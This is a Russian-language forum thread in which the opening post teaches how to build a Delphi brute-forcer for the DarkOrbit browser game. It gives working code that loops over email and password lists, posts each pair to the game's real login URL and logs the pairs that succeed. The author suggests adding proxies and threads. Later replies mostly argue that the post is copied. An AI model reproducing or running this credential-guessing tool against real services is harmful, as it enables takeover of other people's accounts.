1. AVANRO07.05.2025 в 15:51от
Загрузка...

Пишем простой брут

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем BoodlS, 01.01.2013.

  1. BoodlS

    BoodlS

    Статус:
    Оффлайн
    Регистрация:
    25.12.12
    Сообщения:
    13
    Репутация:
    1 +/-
    Итак хочу сразу предупредить брутер будет у нас однопоточный и без прокси.Данную версию я писал в Delphi 7
    В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"(http://www.darkorbit.com/).
    Кидаем на форму 3 компонента button, 1 компонент TIdHTTP,1 компонент openDialog и memo.
    Переименуем и роз формируем их так как у меня на скрине:




    в глобальных переменных напишем:

    Код:
    Код:
    emails,pass:tstringlist; // список ников и паролей
    j,i:integer;
    Кастуем дабл клик на "LOGINS "
    и пишем такой код:

    Код:
    Код:
    begin
    OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
      if OpenDialog1.Execute then
    begin
    eMails.LoadFromFile(OpenDialog1.FileName);
    end;
    
    end;
    Дальше 2 раза кликаем на кнопку "PASS"
    и пишем такой код:

    Код:
    Код:
    begin
    OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
      if OpenDialog1.Execute then
    begin
    Pass.LoadFromFile(OpenDialog1.FileName);
    end;
    end;
    А теперь приступим к самому бруту !
    Дабл клик на кнопку "Старт" и пишем вот такой код:

    Код:
    var
    ssylka,result:string; //думаю тут все
    post:tstringlist; //понятно
    Код:
    Код:
    begin
    ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
    post:=tstringlist.Create; // создаем лист
    for i:=0 to emails.Count-1 do begin // проверяем,формируем
    post.Clear;
    post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
    for j:=0 to pass.Count-1 do begin  // проверяем,формируем
    post.Add('loginForm_default_password='+pass[j]); 
    post.Add('loginForm_default_login_submit=Вход');
    result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос 
    if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
    form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));  выводим то что збрутили в memo
    end;
    end;
    end;
    Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )
     
    Последнее редактирование: 01.01.2013
  2. Edit

    Edit

    Статус:
    Оффлайн
    Регистрация:
    25.11.11
    Сообщения:
    828
    Репутация:
    483 +/-
    много букаффф :с
     
  3. dimati_4ever

    dimati_4ever

    Статус:
    Оффлайн
    Регистрация:
    02.11.12
    Сообщения:
    480
    Репутация:
    68 +/-
    хмм интересно)
     
  4. Hide

    Hide

    Статус:
    Оффлайн
    Регистрация:
    26.11.12
    Сообщения:
    330
    Репутация:
    171 +/-
    Просто почитать интересно)
    Если бы целое FAQ о каждом значении , было бы круто
     
  5. Edit

    Edit

    Статус:
    Оффлайн
    Регистрация:
    25.11.11
    Сообщения:
    828
    Репутация:
    483 +/-
    Всё-таки прочитал. Показалось интересным.
     
  6. Farmazat

    Farmazat

    Статус:
    Оффлайн
    Регистрация:
    24.12.12
    Сообщения:
    608
    Репутация:
    373 +/-
    Прикольные цыферки
     
  7. dicto

    dicto

    Статус:
    Оффлайн
    Регистрация:
    04.11.12
    Сообщения:
    193
    Репутация:
    48 +/-
    копипаст,- в репу,ты даже скрины не выложыл,описаные не изменил.
     
  8. Snip4iK

    Snip4iK

    Статус:
    Оффлайн
    Регистрация:
    11.10.11
    Сообщения:
    276
    Репутация:
    150 +/-
    А мне как то все равно что это копипаст, главное что интересно!!
    А где найти такое что бы каждое слово и значение было расписано?
    очень нужно а то я нифига не могу понять в формировании запроса, а тупо вставить отсюда не зная что это и с чем его едят как то не в тему..
     
  9. Snip4iK

    Snip4iK

    Статус:
    Оффлайн
    Регистрация:
    11.10.11
    Сообщения:
    276
    Репутация:
    150 +/-
    Ой йопта я случайно мнуснул =(
     
  10. xsamir11

    xsamir11

    Статус:
    Оффлайн
    Регистрация:
    16.12.12
    Сообщения:
    113
    Репутация:
    58 +/-
    Копипаст...полный!недавно где то читал!Могу дать ссылку даже!!!
     
  11. BeatJoys

    BeatJoys

    Статус:
    Оффлайн
    Регистрация:
    19.06.12
    Сообщения:
    307
    Репутация:
    90 +/-
    Какая разница что копипаст тут пол форума копипаст и что? Человек же для вас старался!
     
  12. colloum

    colloum

    Статус:
    Оффлайн
    Регистрация:
    23.11.12
    Сообщения:
    1.787
    Репутация:
    1.445 +/-
    Я даже знаю от куда слил:biggrin:
     
  13. xsamir11

    xsamir11

    Статус:
    Оффлайн
    Регистрация:
    16.12.12
    Сообщения:
    113
    Репутация:
    58 +/-
    Он не старался!Хоть бы выложил откуда скопипастил!Стараться значит писать тему своими словами и понимать что там написано!Хоть бы написал какие значения для чего...если он конечно знает для чего...